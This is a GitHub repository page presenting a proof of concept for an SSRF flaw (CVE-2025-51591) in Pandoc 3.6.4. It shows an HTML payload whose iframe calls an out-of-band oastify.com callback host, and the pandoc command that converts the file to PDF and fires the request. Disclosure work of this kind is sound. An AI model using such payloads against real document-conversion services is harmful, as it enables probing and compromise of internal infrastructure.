Skip to content

Latest commit

 

History

12 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 

Repository files navigation

CVE-2025-51591 Pandoc SSRF POC

image

A Server-Side Request Forgery (SSRF) in JGM Pandoc v3.6.4 allows attackers to gain access to and compromise the whole infrastructure via injecting a crafted iframe.

Install Pandoc

Payload Example

⚠️ replace iframe url to your own OAST url. ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    <iframe src="http://h9rvkkqhe0tkmsaiqlhgm1yrvi19ped3.oastify.com/CVE-2025-51591" frameborder="0"></iframe>
</body>

</html>

Convert Payload To PDF Using Pandoc

pandoc payload.html -o output1.pdf
image

Mitigate Strategies

References

About

CVE-2025-51591 Pandoc SSRF vulnerability Proof of Concept

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors